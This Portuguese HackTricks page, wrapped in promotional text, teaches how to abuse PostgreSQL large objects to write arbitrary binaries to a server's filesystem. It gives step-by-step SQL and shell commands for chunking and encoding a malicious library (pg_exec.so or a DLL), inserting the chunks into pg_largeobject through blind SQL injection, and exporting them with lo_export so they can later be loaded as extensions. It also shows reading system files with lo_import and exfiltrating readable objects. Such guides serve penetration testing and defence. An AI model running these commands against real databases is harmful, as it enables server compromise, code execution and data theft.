7.6 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.
Objetos Grandes no PostgreSQL
O PostgreSQL expõe uma estrutura chamada objeto grande (tabela pg_largeobject
), que é utilizada para armazenar dados que seriam difíceis de manipular por inteiro (como uma imagem ou um documento PDF). Ao contrário da função COPY TO
, a vantagem dos objetos grandes está no fato de que os dados que eles contêm podem ser exportados de volta para o sistema de arquivos como uma cópia idêntica do arquivo original importado.
Para salvar um arquivo completo dentro desta tabela, você primeiro precisa criar um objeto dentro da tabela mencionada (identificado por um LOID) e depois inserir pedaços de 2KB dentro deste objeto. É muito importante que todos os pedaços tenham 2KB (exceto possivelmente o último) ou a função de exportação para o sistema de arquivos não funcionará.
Para dividir seu binário em pedaços de tamanho 2KB, você pode fazer:
split -b 2048 pg_exec.so #This will create files of size 2KB
Para codificar cada um dos arquivos criados em Base64 ou Hex, você pode usar:
base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
{% hint style="info" %}
Ao explorar isso, lembre-se de que você deve enviar pedaços de 2KB de bytes em texto claro (não 2KB de bytes codificados em base64 ou hex). Se tentar automatizar isso, o tamanho de um arquivo codificado em hex é o dobro (então você precisa enviar 4KB de dados codificados para cada pedaço) e o tamanho de um arquivo codificado em base64 é ceil(n / 3) * 4
{% endhint %}
Também, ao depurar o processo, você pode ver o conteúdo dos grandes objetos criados com:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Usando lo_creat & Base64
Primeiro, precisamos criar um LOID onde os dados binários serão salvos:
SELECT lo_creat(-1); -- returns OID of new, empty large object
SELECT lo_create(173454); -- attempts to create large object with OID 43213
Se você estiver explorando uma Blind SQLinjection, terá mais interesse em usar lo_create
com um LOID fixo para saber onde deve fazer upload do conteúdo.
Observe também que não há erro de sintaxe, as funções são lo_creat
e lo_create
.
LOID é usado para identificar o objeto na tabela pg_largeobject
. A inserção de pedaços de tamanho 2KB na tabela pg_largeobject
pode ser realizada usando:
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
Finalmente, você pode exportar o arquivo para o sistema de arquivos executando (durante este exemplo, o LOID usado foi 173454
):
SELECT lo_export(173454, '/tmp/pg_exec.so');
{% hint style="info" %} Observe que nas versões mais recentes do postgres você pode precisar carregar as extensões sem indicar nenhum caminho. Leia isto para mais informações. {% endhint %}
Você possivelmente estará interessado em deletar o objeto grande criado após exportá-lo:
SELECT lo_unlink(173454); -- deletes large object with OID 173454
Usando lo_import & Hex
Neste cenário, lo_import será usado para criar um objeto de grande porte. Felizmente, neste caso, você pode (e não pode) especificar o LOID que gostaria de usar:
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
Após criar o objeto, você pode começar a inserir os dados em cada página (lembre-se, você deve inserir pedaços de 2KB):
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
O HEX deve ser apenas o hex (sem 0x
ou \x
), exemplo:
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
Finalmente, exporte os dados para um arquivo e delete o large object:
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
{% hint style="info" %} Observe que nas versões mais recentes do postgres você pode precisar fazer o upload das extensões sem indicar nenhum caminho. Leia isto para mais informações. {% endhint %}
Limitações
Após ler a documentação sobre objetos grandes no PostgreSQL, podemos descobrir que objetos grandes podem ter ACL (Lista de Controle de Acesso). É possível configurar novos objetos grandes de modo que seu usuário não tenha privilégios suficientes para lê-los, mesmo que tenham sido criados pelo seu usuário.
No entanto, pode haver objetos antigos com uma ACL que permite ao usuário atual lê-los, então podemos exfiltrar o conteúdo desse objeto.
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.